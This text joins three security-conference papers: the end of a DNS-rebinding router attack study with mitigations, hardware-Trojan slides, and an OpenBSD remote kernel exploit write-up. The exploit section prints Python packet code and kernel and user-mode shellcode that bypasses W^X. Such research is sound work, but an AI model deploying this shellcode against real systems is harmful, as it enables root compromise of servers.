Rebind receives the response data from the victim’s browser, it relays it back to the attacker's browser: 21. The attacker is now browsing around in the victim’s router as if he were on the LAN himself: Impact Many routers are affected, but perhaps the most notable is the ActionTec MI424-WR. This router is distributed to all Verizon FIOS users, the vast majority of whom never bother to change the default login. As of 2009, Verizon FIOS claimed over 3 million Internet subscribers, providing an attacker with a very large number of potential targets from this one router alone [14]. Additionally, routers from many popular vendors such as Linksys, Thompson, Belkin, Dell, and Asus are known to be affected. The attack has also been successfully tested against routers running third party firmware from DD-WRT, OpenWRT and PFSense. The following table lists the routers that were tested against Rebind, and whether or not the Rebind attack was successful. Where known and applicable, the hardware and firmware versions of the routers have been included: Vendor Model H/W Version F/W Version Successful ActionTec MI424-WR Rev. C 4.0.16.1.56.0.10.11.6 YES ActionTec MI424-WR Rev. D 4.0.16.1.56.0.10.11.6 YES ActionTec GT704-WG N/A 3.20.3.3.5.0.9.2.9 YES ActionTec GT701-WG E 3.60.2.0.6.3 YES Asus WL-520gU N/A N/A YES Belkin F5D7230-4 2000 4.05.03 YES Belkin F5D7230-4 6000 N/A NO Belkin F5D8233-4v3 3000 3.01.10 NO Belkin F5D6231-4 01 2.00.002 NO D-Link DI-524 C1 3.23 NO D-Link DI-624 N/A 2.50DDM NO D-Link DIR-628 A2 1.22NA NO D-Link DIR-320 A1 1.00 NO D-Link DIR-655 A1 1.30EA NO DD-WRT N/A N/A v24 YES Dell TrueMobile 2300 N/A 5.1.1.6 YES Linksys BEFW11S4 1.0 1.37.2 YES Linksys BEFSR41 4.3 2.00.02 YES Linksys WRT54G3G-ST N/A N/A YES Linksys WRT54G2 N/A N/A NO Linksys WRT-160N 1.1 1.02.2 YES Linksys WRT-54GL N/A N/A YES Netgear WGR614 9 N/A NO Netgear WNR834B 2 2.1.13_2.1.13NA NO OpenWRT N/A N/A Kamikaze r16206 YES PFSense N/A N/A 1.2.3-RC3 YES Thomson ST585 6sl 6.2.2.29.2 YES Mitigations There are several fixes that can be employed by end users to mitigate this type of attack: 1. Add a firewall rule on the router to block network traffic on the internal interface that has a destination IP which matches the IP address assigned to the WAN interface. Note that this rule will have to be updated each time the IP address of the WAN interface changes. 2. Add a firewall or routing rule on each host machine in the network that blocks or improperly routes traffic destined for the router’s public IP address. Note that this rule must be applied to any and all current and future hosts on the internal network. 3. Ensure that services on the router are bound only to the LAN and/or WLAN interfaces. 4. Only run Web-based administration over HTTPS. 5. Don't use Web-based administration at all. If you do not have sufficient access to your router to perform the above mitigations, preventing this attack can be difficult. The best option is to disable JavaScript or limit from which sites you allow JavaScript to run. There are additional permanent fixes that can be made by firmware authors to prevent this attack: 1. Require a valid host header in all HTTP requests. The host header should always be the IP address of the router or the router’s host name, if it has one. 2. Only run services, especially the Web service, on the LAN / WLAN interfaces unless the user has enabled remote administration. 3. Implement the strong end system model in the router's TCP/IP stack. References [1] GNUCitizen Router Hacking Challenge [2] sla.ckers.org Full Disclosure Forum [3] Security Vulnerabilities in SOHO Routers [4] Same Origin Policy [5] JavaScript LAN Scanner [6] DNS Rebinding [7] Stealing Information Using Anti-DNS Pinning [8] Protecting Browsers From DNS Rebinding Attacks [9] RFC1122 - Requirements for Internet Hosts - Communication Layers [10] TCP/IP Illustrated Volume 2, p.218-219 [11] Intranet Invasion Through Anti-DNS Pinning [12] Host-Unlimited [13] Window.name Transport [14] Verizon FIOS – Wikipedia Appendix A Blocked CSRF Attempts Using Basic Authentication URLs I) Firefox confirmation warning II) Internet Explorer invalid URL warning Appendix B Anti-DNS Pinning Attack Failures Against FF 3.5 and IE8 I) Firefox 3.5 JavaScript exception error II) Internet Explorer 8 data retrieval failure
pdf
Demonstration of Hardware Trojans Fouad Kiamilev (Dr. K), Ryan Hoover, Ray Delvecchio, Nicholas Waite, Stephen Janansky, Rodney McGee, Corey Lange, Michael Stamat Who We Are We take pride in our junk drawers. Crazy ideas are encouraged. We can't tell you everything but you can still ask. You simulate it - we build it. Our mess is a sign of work in progress. Our toolbox contains more than just MATLAB. No device is safe from disassembly. We love what we do. What We Do Software Firmware FPGA Systems Special Instruments Reverse Engineering Printed Circuit Boards Discrete Analog Circuits Custom Integrated Circuits Mechanical Design Gigabit Data Links Power Converters Definitions ✴Hardware Trojan: malicious alteration of hardware, that could, under specific conditions, result in functional changes of the system. ✴Time Bomb Trojan disables a system at some future time. ✴Data Exfiltration Trojan leaks confidential information over a secret channel. Reference: Detecting Malicious Inclusions in Secure Hardware: Challenges and Solutions, X. Wang, M. Tehranipoor, and J. Plusquellic, IEEE HOST 2008 Workshop, Anaheim, California, USA Why is it a threat? ✴Electronics plays an important role in: ✴Storage and communication of confidential information ✴Management and control of important equipment ✴Critical national security applications and systems ✴ Because of globalization, chip design and fabrication are increasingly vulnerable to malicious alterations. What can be altered? HDL Source Code Circuit Diagram IC Layout FPGAs ✴ Definition: An FPGA is a semiconductor device containing programmable logic components and programmable interconnects. ✴ To configure ("program") an FPGA you specify how you want the chip to work with a logic circuit diagram or a source code using a hardware description language (HDL). Our Demonstration Platform ✴Application ✴AES Encryption engine ✴Hardware ✴Spartan 3E FPGA Board ✴PS2 Keyboard (user input) ✴LCD Display (Cipher output) ✴Trojan ✴Once triggered by a request to encrypt a special keyword, we transmit AES key on a covert communication channel. Trojan Insertion Trojan Transmit Module Trojan Trigger Module Trojan Demonstrations ✴Thermal ✴ An external resistor is electrically modulated creating thermal emission. ✴ The micro-controller, or other parts of the circuit are quickly saturated with operations, creating thermal emission. ✴ The thermal signal is sensed using an IR camera. ✴Optical ✴ An external LED is electrically modulated at a rate undetectable by human eye. ✴ The optical signal is sensed using an optical-to-audio amplifier. ✴Radio ✴ An external I/O pin is modulated causing radio emission. ✴ The radio signal is sensed using radio receiver and post- processing received signal on PC. To view a video of our hardware Trojan demonstrations please visit this link: http://www.cvorg.ece.udel.edu/defcon-16 Conclusion ✴Hardware Trojans are a new and emerging threat. ✴Systems at risk include military systems, financial systems and even household appliances. ✴The purpose of our work is to demonstrate the dangers of Hardware Trojans. ✴We are also working on Trojan detection schemes.
pdf
OpenBSD Remote Exploit ”Only two remote holes in the default install” Alfredo Ortega, Gerardo Richarte Core Security April 2007 Abstract OpenBSD is regarded as a very secure Operating System. This article details one of the few remote exploit against this system. A kernel shellcode is described, that disables the protections of the OS and installs a user-mode process. Several other possible techniques of exploitation are described. CONTENTS CONTENTS Contents 1 Introduction 2 2 Vulnerability 2 2.1 Mbufs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 2.2 ICMPV6 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 2.3 Overflow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 2.4 Gaining code execution . . . . . . . . . . . . . . . . . . . . . . 5 2.4.1 4-bytes Mirrored write . . . . . . . . . . . . . . . . . . 5 2.4.2 Pointer to ext free() . . . . . . . . . . . . . . . . . . . 5 2.4.3 Where to jump? . . . . . . . . . . . . . . . . . . . . . . 6 3 Now, what? 7 3.1 Hooking the system call . . . . . . . . . . . . . . . . . . . . . 7 4 ShellCode 7 4.1 Pseudo code . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 4.2 Detailed description of operation . . . . . . . . . . . . . . . . 8 5 OpenBSD WˆX internals 11 6 Syscall Hook 12 6.1 Pseudo code . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 6.2 Detailed description of operation . . . . . . . . . . . . . . . . 13 6.3 context-switch limit . . . . . . . . . . . . . . . . . . . . . . . . 18 7 User ShellCode 18 7.1 Pseudo code . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 7.2 Detailed description of operation . . . . . . . . . . . . . . . . 19 8 Failed attempts 20 9 Proposed Protection 21 10 Conclusion 22 References 23 1 2 VULNERABILITY 1 Introduction OpenBSD is a Unix-derivate Operating system, focused on security and code correctness. It’s widely used on firewalls, intrusion-detection systems and VPN gateways, because of the security enhancements that it implements by default. Some of the protection technologies that OpenBSD has on the default installation are: • WˆX : Nothing writable is executable • Address layout randomization • ProPolice stack protection technology Note that these protection schemes work only on user space applications. The attack that this article describes is on Kernel space, so it is mostly unaffected by all these protections 1. OpenBSD is freely available and can be downloaded from here [2, Home page]. 2 Vulnerability OpenBSD was one of the first systems to incorporate the KAME IPv6 stack software, supporting next-generation protocols for network communication. Some glue logic is needed to adapt this stack to the internal networking mech- anisms of the OS, and is in some of these functions that a buffer overflow was found. Specifically, the function m dup1() on the file sys/kern/uipc mbuf2.c is called every time that a specially crafted fragmented icmpv6 packet is re- ceived by the IPv6 stack. This function miscalculates the length of the buffer and causes an overflow when copying it. 2.1 Mbufs Mbufs are basic blocks of memory used in chains to describe and store packets on the BSD kernels. On OpenBSD, mbufs are 256 bytes long; Using fixed- sized blocks of memory as buffers improve the allocation/deallocation speed and minimize copying. The m dup1() function should duplicate a mbuf, asking for a new mbuf and then copying in the original mbuf, but the length is not checked as a result of the fragmentation, and the whole icmp6 packet is copied over a single mbuf. If the fragment is longer than 256 bytes, it will overflow the next mbuf headers with controlled data. The only useful section 1OpenBSD has kernel protections on some architectures, but not on i386 2 2.2 ICMPV6 2 VULNERABILITY mbuf1 mbuf2 mbuf3 mbuf4 End of overflow Copy direction Figure 1: mbuf chain overflow direction of a mbuf to overwrite is it’s header, because inside of it there are several structures that make it possible to exploit the system. The mbuf header structure is shown on Listing 1. Figure 1 is shows a chain of mbufs and the copy direction. You can also see that we overflow at least two mbuf buffers with our attack. The ideal scenario would be to overflow only one mbuf, because if we overflow too much, an unrecoverable kernel crash becomes very likely to happen. 2.2 ICMPV6 ICMP is a protocol used for error reporting and network probing. It’s easy to implement because the messages generally consist of a single IP packet. The IPv6 incarnation is no different and we used this protocol as the attack vector.However, it may be possible to trigger the vulnerability using other protocols. As we said already, we fragment a common ICMPv6 echo request packet into two fragments, one of length zero (IPv6 allows this) and one of the total length of the ICMPv6 message. It’s important that the ICMPv6 packets be a valid echo request message with correct checksum. Since the attack requires that the packets be processed by the IPv6 stack invalid ICMPv6 packets will be rejected. The format of the two ICMPv6 packets is detailed in fig. 3. We can see how the fragment fits in the mbuf chain, overwritting three mbufs, and the trampoline (JMP ESI on the kernel) lands exactly on the pointer to ext free(). The header of mbuf2 is specially crafted, activating Listing 1: mbuf structure definition f i l e : sys / kern / uipc mbuf2 . c struct mbuf { struct m hdr m hdr ; union { struct { struct pkthdr MH pkthdr ; /∗ M PKTHDR s e t ∗/ union { struct m ext MH ext ; /∗ M EXT s e t ∗/ char MH databuf [MHLEN] ; } MH dat ; } MH; char M databuf [MLEN] ; /∗ !M PKTHDR, !M EXT ∗/ } M dat ; } ; 3 2.3 Overflow 2 VULNERABILITY Header Fragmentation Header IPv6 Header Mbuf chain Fragment 2 Icmpv6 Icmpv6 Header Trampoline ShellCode SyscallHook Payload Header mbuf 2 mbuf 1 Header mbuf 3 Hop−by−Hop Header Fragmentation Header IPv6 Header Fragment 1 Figure 2: Detail of ICMPv6 fragments the M EXT flag, to force a call to ext free() when freed. We must also deterministically force a free on mbuf2 and not mbuf1 or mbuf3, or the system will crash. Empirically we found a combination of IPv6 packets that works, even on heavy traffic conditions: for i in range(100): # fill mbufs self.sendpacket(firstFragment) self.sendpacket(normalIcmp) time.sleep(0.01) for i in range(2): # Number of overflow packets to send. Increase if exploit is not reliable self.sendpacket(secondFragment) time.sleep(0.1) self.sendpacket(firstFragment) self.sendpacket(normalIcmp) time.sleep(0.1) This Python code sends fragments, combined with normal ICMPv6 packets, manipulating the mbuf chains in a way that forces a free exactly on the mbuf that we need. This is a section of the Original Advisory [1] 2.3 Overflow The overflow happens when the m dup1() function calls copydata() (2)over- writting a newly allocated mbuf with the second fragment. The important region of memory to overflow is the header of the second buffer, mbuf2. (Our attack requires that the next packet, mbuf3 be also overflowed, but this is because our shellcode is too big to use only 256 bytes. A better attack would overflow only mbuf2) 4 2.4 Gaining code execution 2 VULNERABILITY Listing 2: m dup1() overflow instruction / kern / uipc mbuf2 . c s t a t i c struct mbuf ∗ m dup1 ( struct mbuf ∗m, int o f f , int len , int wait ) { . . . i f ( copyhdr ) M DUP PKTHDR(n , m) ; m copydata (m, o f f , len , mtod (n , c a d d r t ) ) ; /∗ OVERFLOW HERE ∗/ n−>m len = l e n ; return ( n ) ; } 2.4 Gaining code execution There are at least two exploit techniques that can be used on this scenario. On the PoC2 described on this article we used the most simple and likely to succeed, but both of them are explained. 2.4.1 4-bytes Mirrored write Because the mbufs are on a linked list, there are a couple of pointers to the previous and next mbuf’s. When a mbuf is freed, the pointers on the previous and next mbuf’s are exchanged and because we control both pointers (we stepped on them with the overflow) we can write up to 32 bits anywere on the kernel memory. This is not much, but enough to overwrite the process structure and scalate privileges, for example. But this technique is difficult and a more easy solution is available using a member of the mbuf header, because it contains directly a pointer to a function. 2.4.2 Pointer to ext free() There is a structure in the mbuf header called m ext (1), that is used only when there is need for external storage on the mbuf. This external storage can be allocated on a variety of ways, but a function must be provided to free it. As shown in Listing 3, a pointer to this function is stored directly in the mbuf header. This function, ext free(), is called on the release of the mbuf if the M EXT flag is set. Since we control the entire mbuf header, if we set the M EXT flag, set the ext free() pointer and force the mbuf to be freed, we can redirect the execution to any desired location. This location can be anywhere in the Kernel memory space, because (this is important ), the OpenBSD kernel-space has no protections like there are in user-space 2Proof of Concept 5 2.4 Gaining code execution 2 VULNERABILITY Listing 3: m ext structure definition /∗ d e s c r i p t i o n o f e x t e r n a l s t o r a g e mapped i n t o mbuf , v a l i d i f M EXT s e t ∗/ f i l e : sys / kern / uipc mbuf2 . c struct m ext { c a d d r t e x t b u f ; /∗ s t a r t o f b u f f e r ∗/ /∗ f r e e r o u t i n e i f not the usual ∗/ void (∗ e x t f r e e ) ( caddr t , u int , void ∗ ) ; void ∗ e x t a r g ; /∗ argument f o r e x t f r e e ∗/ u i n t e x t s i z e ; /∗ s i z e o f b u f f e r , f o r e x t f r e e ∗/ int e x t t y p e ; struct mbuf ∗ e x t n e x t r e f ; struct mbuf ∗ e x t p r e v r e f ; #i f d e f DEBUG const char ∗ e x t o f i l e ; const char ∗ e x t n f i l e ; int e x t o l i n e ; int e x t n l i n e ; #endif } ; thus allowing us to execute code anywhere, on the kernel binary, the data, or the stack. Here the kernel is lacking kernel-space protections like PaX. PaX( [4, PaX]) is a linux kernel patch that provides multiple protections to user-space and also for the kernel memory. On the kernel, PAX provides KERNEXEC (WˆX and Read-Olny memory on the kernel), Randomized stack and UDEREF (protects kernel-user memory transfers). On the section 9 we propose a simple implementation to add this kind of protection on the OpenBSD kernel for the i386 architecture. 2.4.3 Where to jump? The final zone that we must arrive is our own shellcode. But there is no pre- dictable position in kernel memory that we can place the shellcode, because we are sending it in a network packet that is stored on a mbuf chain. To address this problem there are a couple of possible solutions: • Fill all the mbuf’s memory space with packets containing the shellcode and jump approximately inside this region. Pro: The chances to land on the shellcode are high. Cons.: A method must be found to spray packets on the target and fill the mbuf’s memory. We couldn’t find a reliable method to do this. • Because of the internal parameter passing used by the c compiler, when the ext free() function is called the position of the mbuf to free must be placed on a register (ESI on OpenBSD 4.0) and if we jump to an instruction ”JMP ESI” or ”CALL ESI” fixed on the kernel binary, the execution flow will continue directly on our shellcode. Pros: Very reliable and deterministic technique. Cons.: depends on the kernel binary. 6 4 SHELLCODE We selected the last solution mainly because of its ease of implementation. However, it is not the most optimal solution because it depends on the ker- nel version. Nevertheless by choosing certain special positions in the kernel binary this solution can work on all OpenBSD 4.0 default installations. 3 Now, what? Great, now we can execute code in ring 0. Now what? There is not much that we can do reliably. At this point we don’t know the kernel version or modules that are loaded, nor where in the memory are the kernel structures. We can’t access the file system nor the network stack. We don’t even know what process is mapped, because we gained control of the system inside a hardware interrupt service. But we know the position of the system call interrupt vector. It’s on the Interrupt Descriptor Table (IDT), and the system call number is always 0x80. 3.1 Hooking the system call The section 6 explains in detail the procedure to hook the system call. Now all processes are visible when they do a int 0x80. We have several options at this point: • Modify the system call, to add a super-user with known password. • Modify the current process code to execute our code. • Any other attack involving only one system call. The reason that we have only one system call is because the calling process surely will malfunction if we change its system calls. This may be acceptable in some scenarios, however, a better attack would leave the system almost unaffected. Therefore, we chose to modify the current process and manipu- late it to execute our code. We use a somewhat complex technique in order to fork and save this process, so it can continue essentially unchanged even as our code is now executing. 4 ShellCode The ShellCode only hooks the interrupt 0x80 (figure 3), ensuring that system calls from all process pass through our code. Additionally, some data is scavenged by scanning the kernel binary. 7 4.1 Pseudo code 4 SHELLCODE User process INT 0x80 Kernel return Hook Hooked syscall User process INT 0x80 Kernel Ring 3 Ring 0 return Normal syscall Normal System Call Hooked System Call Figure 3: System call hook 4.1 Pseudo code 1. Find the interrupt 0x80 address 2. Find equivalent getCurrentProc() function in the kernel 3. Assemble the syscall hook in memory. 4. Patch the IDT, hooking int 0x80 5. Fix the stack and return. 4.2 Detailed description of operation Find the interrupt address: pusha sub esp, byte 0x7f ;reserve some space on the stack sidt [esp+4] mov ebx,[esp+6] add esp, byte 0x7f mov edx,[ebx+0x400] 8 4.2 Detailed description of operation 4 SHELLCODE mov ecx,[ebx+0x404] shr ecx,0x10 shl ecx,0x10 shl edx,0x10 shr edx,0x10 or ecx,edx We store the IDT3 on an unused position of the stack and make calcu- lations to retrieve the 0x80 entry. At the end of this code, the position of the int 0x80 vector is in the ECX register. Find equivalent getCurrentProc(): Scan the kernel binary to find the equivalent getCurrentProc() that is need in the system call hook (). ;Find ’GetCurrProc’ mov esi,ecx and esi,0xfff00000 ; ESI--> Kernel start xor ecx,ecx FIND_cpu_switch: mov eax,0x5f757063 ; "cpu_" inc esi cmp [esi],eax jne FIND_cpu_switch FIND_FF: inc esi cmp byte [esi],0xff jne FIND_FF mov edx,esi add edx,6 ; EDX--> Start getproc code FIND_C7: inc esi cmp byte [esi],0xc7 jne FIND_C7 mov ecx,esi sub ecx,edx ;ECX --> Size getproc code This piece of assembler receives on ECX the position of the int 0x80 vector. It then finds the start of the kernel binary by simply zeroing the 3Interrupt descriptor table 9 4.2 Detailed description of operation 4 SHELLCODE lower word of it, since that vector is at the start of the kernel. Then, it search the binary for a specific pattern. This pattern ”cpu ” is a string that is always4 at the start of the function ”cpu switch()”, an assembly function that in the first instructions, loads in EDX the position of the current process structure. The specific instructions change with the OS version, because OpenBSD recently has gained multiprocessor ability and the calculations to get the current running processor has a additional level of indirection in recent kernels. Because we don’t know the version of the kernel, or where in the kernel memory this info is stored, we opted to copy the entire block of instructions to our system call hook. We will need these instructions later in the system call execution, to find out whether or not we are root. If we didn’t have this info, we could inject a user process with no privileges but the attack will be less valuable. Assemble the syscall hook on memory: (This is a really simple step, only copy the needed code into specific place-holders). Note that we don’t use the instructions movs because we would need to modify the ES and DS selectors to do this, and restore them later. ; Copy getproc --> SyscallHook call GETEIP GETEIP: pop edi; EIP-->edi push edi add edi, dword 0xBC ; Offset to SyscallHook getproc() mov esi,edx LOOP_COPY: lodsb mov [edi],al inc edi loop LOOP_COPY Patch the IDT: , hooking int 0x80. This is not a difficult operation, since the base address of the ShellCode is on EDI we simply add the offset of the syscall hook and put this value on the IDT. However, the value cannot be written directly, since the pointer to a interruption is not in a contiguous sector of memory. 4Since version 3.1 of OpenBSD 10 5 OPENBSD WˆX INTERNALS ; Patch IDT add edi, dword 0xb7 ;Start of SyscalHook mov ecx,edi mov edx,edi shr ecx,0x10 mov [ebx+0x400],dx mov [ebx+0x406],cx It’s important to note that at this point, we got access to every system call on every process. The system will slow a bit, but the hook will be active for only a few milliseconds. Fix the stack and return: The stack is unbalanced on this stage and a simple RET will crash the kernel. So we fix ESP and return. The calling function will believe that the m free() function was successful and return happily, but the int 0x80 will be hooked by our code. ; fix esp and return popa add esp, byte 0x20 pop ebx pop esi pop edi leave retn The ShellCode finalize, and the mbuf is believed to be freed. The system call interruption has been hooked, but since we don’t have reserved any special memory space, we are vulnerable to overwriting by some future mbuf request. So the process injection must be fast. This is the job of the Syscall Hook. 5 OpenBSD WˆX internals Before explaining the ShellCode operation, a little explanation about one of the most important security features of OpenBSD: the WˆX feature (Noth- ing writable is executable). Due to recent advancements in CPU design this feature is now available in most modern operating systems. However, OpenBSD has supported this feature for a number of years on plain i386 processors without special hardware support. 11 6 SYSCALL HOOK Extension Extension User Code Segment (CS) User Data Segment (DS) 0x00000000 0xffffffff 4 GB 512 MB stack .so .text stack heap .so Figure 4: OpenBSD selector scheme and modification Figure 4 shows how OpenBSD implements WˆX on the i386 without the NX bit: The CS selector on the user process is only 512 MB long (Initially, it can grow), everything above this is not executable. We can see that the data sector extends way beyond this limit, until the kernel start address (0xD0000000).In this region is placed the .BSS, heap, stack and all other data considered non-executable. A more comprehensive article about this mechanism can be found here: [3, deRaadt]. As the figure shows, if we could extend the CS selector to overlap the heap and stack, suddenly all the memory would become executable and the WˆX protection is defeated 5. We actually do this, and the next section contains the explanation. 6 Syscall Hook Now the Shellcode has been executed, every time a int 0x80 is issued we take control of the system at the kernel level. But in kernel mode, making a system call or modifying a process’s information is non-trivial because we are not linked against the kernel and we cannot know the memory positions of these functions and structures. Everything is easier to do in user-mode, so we must inject code into a user-mode process. But not any process, but one that has root privileges. So the first thing we need to find out is if the process that called us has root. We could have injected all the processes with our code and surely one of them will be root, but this would greatly affect the performance of the compromised server and recovering from a big modification like this is difficult. The next step is to inject a user process 5At least temporally. See 6.3 12 6.1 Pseudo code 6 SYSCALL HOOK with root privileges into the system. 6.1 Pseudo code 1. Adjust Segment selectors DS and ES (to use movsd instructions) 2. Find curproc variable (Current process) 3. Find user Id (curproc-¿userID) 4. If procID == 0 : (a) Find LDT6 position (b) Extends the length of DS and CS on the LDT (c) Modify return address of the Int 0x80 from .text to the stack of the process (d) Copy the user-mode ShellCode to the return position on the stack 5. Restore the original Int 0x80 vector (Remove the hook) 6. continue with the original syscall 6.2 Detailed description of operation Adjust Segment selectors: The first step, adjust DS and ES selectors, is trivial, and not really needed, but we can use the more comfortable movs instruction with correct selectors: ;Selectors: ;ds,es,fs,gs : User code ;cs: Kernel ;ss: Stack, Shellcode pusha push ss pop ds push ds pop es 6Local Descriptor Table 13 6.2 Detailed description of operation 6 SYSCALL HOOK Find curproc variable: Actually, we use part of the kernel, found and copied by the previous ShellCode (see 4.2), to do this. The kernel instructions corresponding to OpenBSD Kernel, version 3.6-4.1 are: lea ecx, ds:0D0822940h mov esi, [ecx+80h] The current process structure is now loaded on ESI. Find user Id: This is a simple access to a pointer in the proc structure, made with a couple of assembly instructions: mov eax,[esi+0x10] mov eax,[eax+0x4] The ID of the user owner of the process that issued the hooked system call is now in EAX. Since the beginning of OpenBSD the location of the procID variable has always being on the same position on the proc structure, therefore this code is always valid. ”If procID == 0”: A comparison with zero: test eax,eax jnz END_short jmp short We_are_ROOT Find Local descriptor table position: The Pentium processor has the possibility to maintain a custom descriptor table for every task.Although not all the operating systems make use of this table, OpenBSD does. It maintains a table of descriptors for every process. The custom de- scriptors are stored on the proc structure and reloaded on the context switch. The LDT position is an index on the GDT7 and to obtain this index a special instruction is needed: sldt ax ; Store LDT index on EAX 7Global Descriptor Table, where system-wide selectors are stored 14 6.2 Detailed description of operation 6 SYSCALL HOOK The position of the LDT is the third on the GDT, or 0x18 (defined on sys/arch/i386/include/segments.h), because each GDT entry has 8 bytes. We opt to get through this instruction, just to be sure. Now that we have the index of the LDT, we must find the position of of this table in memory. This index is relative to the GDT, so now we must load the GDT position, and look at this index on the table: sub esp, byte 0x7f sgdt [esp+4] ; Store global descriptor table mov ebx,[esp+6] add esp, byte 0x7f push eax ; Save local descriptor table index mov edx,[ebx+eax] mov ecx,[ebx+eax+0x4] shr edx,16 ; base_low-->edx mov eax,ecx shl eax,24; base_middle --> edx shr eax,8 or edx,eax mov eax,ecx; base_high --> edx and eax,0xff000000 or edx,eax mov ebx,edx ;ldt--> ebx Since the GDT is organized similarly to the IDT (addresses are not contiguous in memory) the results must be ”assembled”. As we can see, the final instruction puts the real LDT position in the EBX register. In this table, is the info that we need to defeat the OpenBSD protections. Extends the length of DS and CS: As we can see on the section 5, The method used on OpenBSD to prevent execution on the stack is to limit the CS selector length. If we extend this selector to cover the entire address space, from 0 to 4 GB (like Windows NT does) We could execute code anywhere on the process. We do this with these instructions: ; Extend CS selector 15 6.2 Detailed description of operation 6 SYSCALL HOOK or dword [ebx+0x1c],0x000f0000 ; Extend DS selector or dword [ebx+0x24],0x000f0000 The bits 16-20 are the MSB in the selector range (Again, the range is not contiguous on the LDT entry) Modify return address of the Int 0x80: Now we can execute code on the stack, so the next logical step is to change the return position of the calling process (that we know is root) to the stack. We could overwrite info on the .BSS region of the process, or even the .TEXT region, but the process will probably crash because we are corrupting important sections of its memory. Since we don’t want to kill the calling process, one of the most secure regions to overwrite with our user-mode shellcode, is the unused portions of the stack. ;Return to stack mov edi,[esp+8] add edi,STACK_SAVE_LEN mov ebx,[esp+RETURN_ADDRESS] mov [esp+RETURN_ADDRESS],edi ; And now we return to this The position on the stack where the current system call will return is now stored in EDI, and we backup the actual return address in EBX. Copy the user-mode ShellCode to the return position: As we now have adjusted the selectors (6.2), a simple movsd instruction can be used: push edi push esi add esi,0xd5 ; ***** USER_SHELLCODE offset mov ecx,SC_LEN ; *** USER_SHELLCODE LEN (in dwords) rep movsd pop esi pop edi mov [edi+1],ebx ; Write real return address Restore the original Int 0x80 vector: This is the inverse of the opera- tion realized by the ShellCode, and is a little complex because of the format of the entry on the IDT: 16 6.2 Detailed description of operation 6 SYSCALL HOOK ; --- Restore Xsyscall sub esp, byte 0x7f sidt [esp+4] mov ebx,[esp+6] add esp, byte 0x7f mov edx,[ebx+0x400] mov ecx,[ebx+0x404] mov eax,[esi+0x1bf] ; EAX <-- Position of old System Call push eax and eax,0x0000ffff and edx,0xffff0000 or edx,eax mov [ebx+0x400],edx ; Fill MSB of System call address pop eax and eax,0xffff0000 and ecx,0x0000ffff or ecx,eax mov [ebx+0x404],ecx ; Fill LSB of System call address continue with the original syscall: Finally, the selectors are fixed and a JMP to the real system call is issued: ;fix selectors push fs pop ds push fs pop es popa ; aef jmp 0xFFFFFFFF The address 0xFFFFFFFF is a placeholder for the real system call, filled in previously by the ShellCode. Now, the system is released from the Hook, and continues normally, except for the calling process: This process will return to the stack, and because the protections were lowered, the execution will continue and our user-mode shellcode will execute normally. 17 6.3 context-switch limit 7 USER SHELLCODE 6.3 context-switch limit There is still a limit on the user-mode shellcode execution: In the next context-switch, the LDT will be restored and the code executing on the stack will no longer be permitted to execute. The shellcode execution flow must exit the stack region immediately, or risk causing a SEGFAULT on the next context-switch. Thankfully, today’s computers are fast and we have plenty of time to fork, claim memory, and exit, so this is really not an issue. 7 User ShellCode The user-shell code seems like the final step, now we can execute any system call as root, but there are two disadvantages: 1. The process will stop the normal operation and will start to execute our code. This may not be a big problem if the injected process is a child of the Apache web server 8, but we really cannot control which process the shellcode is injected into. For example it could be the init process and killing this process is not a good idea. 2. We have a very short time to execute before we are context-switched and loose the ability to execute on the stack, so we must copy the shellcode to a more secure area to continue execution. Therefore the user-mode shellcode must take a series of steps before the final payload is executed. 7.1 Pseudo code 1. Ask for a chunk of executable and writable memory (We use the MMAP system call for this) 2. copy the rest of the shellcode and continue the execution on this region. 3. Do a FORK system call. 4. On the child: Continue the execution of the final payload. 5. On the parent process: Return to the original call. 8In tests, the most commonly injected process on OpenBSD 4.0 with default installation was sendmail, because it periodically makes a couple of system-calls 18 7.2 Detailed description of operation 7 USER SHELLCODE 7.2 Detailed description of operation The operation of this code is not different than any other user-mode Shell- Code, but the code it’s explained for completeness. Ask for a chunk of executable and writable memory: This is a very standard call to mmap system call. OpenBSD protection WˆX says that nothing writable is executable, but this system call provides, legally, a region that violates this rule. ; mmap xor eax,eax push eax ; offset 0 push byte -1 ; fd push ax push word 0x1002 ; MAP_ANON | MAP_PRIVATE push byte 7 ;PROT_READ+PROT_WRITE+PROT_EXECPR push dword 0x1000 ; size (4096 bytes should be enough for everybody) push eax ; address = 0 push eax ; NULL mov al,0xc5 mov ebx,esp int 0x80 The pointer to the newly allocated executable region is now in EAX. Copy the shellcode and jump: A simple movsd and jmp to the newly allocated block will do: ; Copy to executable region mov edi,eax mov ecx,SC_LEN CALL GETEIP2 GETEIP2: pop esi add esi,byte 0x8 rep movsd jmp eax At this point, we are safe for the context switch.All OpenBSD pro- tections will activate again but the shellcode can continue to execute 19 8 FAILED ATTEMPTS safely forever. But it would be nice if the injected process doesn’t die, so we fork. Do a FORK system call: xor eax,eax mov al,byte 2 int 0x80 test eax,eax je FINAL_PAYLOAD popf popa ret ; return to parent process FINAL_PAYLOAD: ;/// Put final payload here!! The parent process now has resumed execution normally, and the child process is executing the payload, wherever it is, forever. 8 Failed attempts Many attempts were done before reaching this set of steps. The shellcode didn’t change very much, because at the time and position in the kernel where it’s executed, you can’t do a lot of things easily, except to hook the Int 0x80. But in the system call hook we tried to do a couple of things before reaching the final version, with interesting results: • The first and most simple attempt was to try to make system calls from kernel mode. This didn’t work because of little understood reasons 9 (And as a side note, caused a lot of trouble on vmware images). • The second attempt resulted in the following curious outcome: at first, we made the system call hook try to write directly to the .TEXT section of the executable, directly on the point of return, with our shellcode. This seems impossible to do, because of the memory-page protections that OpenBSD implements on all the .TEXT region. But the Pentium processor has a flag on CR2 (Control Register 2) accessible only on RING-0 that disables all the page-protection mechanisms and allows the code to write anywhere. By setting this flag, we wrote to the .TEXT of the executable and voila! We landed on our shellcode and 9OpenBSD would think that a system-call realized from within a system-call was a Linux system call, and won’t execute it. 20 9 PROPOSED PROTECTION we were very happy. But in a cruel twist, the ELF files on OpenBSD are memory-mapped, so when we wrote to the .TEXT section, we really were writing to the ELF file directly on the disk, trashing our OpenBSD installation. That trick didn’t work. 0x00000000 0xffffffff 4 GB kernel 0xD0000000 0xD1000000 Kernel Code Segment (CS) Kernel Data Segment (DS) CS shrink mbuf 